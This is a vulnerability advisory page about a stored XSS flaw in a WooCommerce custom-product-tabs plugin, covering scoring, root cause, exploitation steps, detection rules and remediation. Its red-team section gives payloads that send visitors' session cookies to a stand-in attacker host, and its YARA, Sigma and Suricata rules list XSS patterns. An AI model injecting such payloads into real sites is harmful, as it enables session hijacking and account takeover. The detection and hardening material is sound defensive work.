CVE-2025-58985
Executive Summary
CVE-2025-58985 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Additional Custom Product Tabs for WooCommerce by WPFactory, affecting versions up to and including 1.7.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into product tab content, which are then executed in the browsers of other users (including administrators) when they view the affected product page. The vulnerability stems from improper neutralization of input during web page generation, specifically within the plugin's custom tab fields. Given the widespread use of WooCommerce, this poses a significant risk to e-commerce sites, potentially leading to session hijacking, defacement, or credential theft. No public proof-of-concept or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin directly from the WordPress admin dashboard or via the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby packages. The supply chain risk is moderate, as the plugin is a third-party extension for WooCommerce, and the vendor (WPFactory) has not yet released a patch. Users should monitor the plugin's update channel for a patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit the affected product page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate threat. However, the potential for privilege escalation (e.g., an admin visiting a contributor's malicious tab) increases the risk.
Deep Dive & Mechanics
The vulnerability exists in the Additional Custom Product Tabs for WooCommerce plugin, which allows users to add custom tabs to WooCommerce product pages. The plugin stores user-supplied content (e.g., tab title, content) in the WordPress database without proper sanitization or output encoding. When a product page is rendered, the plugin outputs this stored content directly into the HTML, allowing an attacker to inject malicious JavaScript.
Root Cause: The plugin uses functions like echo $tab_content; or the_content() filter without applying esc_html() or wp_kses_post() to sanitize the output. This allows an attacker to inject <script> tags or event handlers (e.g., onmouseover, onclick) into the tab content.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into the WordPress admin.
- The attacker navigates to the product edit page and adds a new custom tab via the plugin's interface.
- In the tab content field, the attacker injects a malicious payload, e.g.,
<script>alert('XSS')</script>. - The plugin saves the payload to the database.
- When an administrator or other user views the product page, the payload executes in their browser.
WordPress Ecosystem Note: This vulnerability is specific to the WordPress plugin ecosystem. The issue lies within the plugin's code, not in the core WordPress or WooCommerce software.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (version <= 1.7.3):
// In a template file or shortcode handler
echo '<div class="custom-tab-content">' . $tab_content . '</div>';
Patched Code (hypothetical):
// Properly escape output
echo '<div class="custom-tab-content">' . esc_html( $tab_content ) . '</div>';
// Or allow safe HTML with wp_kses_post
echo '<div class="custom-tab-content">' . wp_kses_post( $tab_content ) . '</div>';
The patched version would use esc_html() to strip all HTML or wp_kses_post() to allow only safe HTML tags (e.g., <b>, <i>, <a>).
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with WooCommerce and the vulnerable plugin installed.
- A user account with at least "Contributor" role.
Exploitation Steps:
- Log in as a contributor.
- Navigate to Products > Add New or edit an existing product.
- Scroll to the "Custom Product Tabs" meta box (provided by the plugin).
- Click "Add New Tab" and fill in the title and content fields.
- In the content field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the product.
- When an admin views the product, the script executes, sending the admin's session cookie to the attacker.
Alternative Payload (Stealthy):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection & Prevention:
- Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to
/wp-admin/post.phpor/wp-admin/admin-ajax.php. - Input Validation: Ensure the plugin is updated to the latest version. If no patch exists, disable the plugin temporarily.
- Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - User Role Hardening: Limit the number of users with contributor or higher roles. Use a plugin like "User Role Editor" to restrict access to custom tabs.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown domains containing
document.cookiein the query string. - Unusual POST requests to
/wp-admin/post.phpwithpost_type=productand suspicioustab_contentparameters.
- Outbound HTTP requests to unknown domains containing
Host IOCs:
- Presence of
<script>tags or event handlers in thewp_postmetatable under the_product_tabsmeta key. - Unexpected JavaScript files in the
wp-content/uploads/directory.
- Presence of
Log IOCs:
- WordPress debug log entries showing
wp_ksesoresc_htmlfailures. - Web server access logs with
POSTto/wp-admin/post.phpfrom contributor accounts.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_58985_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress product tab content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58985"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["'][^"']*["']/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-58985 Stored XSS in Additional Custom Product Tabs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress product tab content
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'post_type=product'
cs-uri-query|contains: 'tab_content'
keywords:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in product descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58985 Stored XSS Payload in Product Tab"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=product"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released. This is the most effective mitigation.
- Restrict user roles – Only grant "Contributor" or higher roles to trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.
Long-Term Fix:
- Vendor Patch: Monitor the WPFactory plugin page for an update. Once available, update to the patched version immediately.
- Code Hardening: If you have access to the plugin source code, apply the following fix:
- Replace
echo $tab_content;withecho esc_html( $tab_content );orecho wp_kses_post( $tab_content );in all template files.
- Replace
- Security Audit: Conduct a full security audit of all WordPress plugins to identify similar vulnerabilities.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching for XSS.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.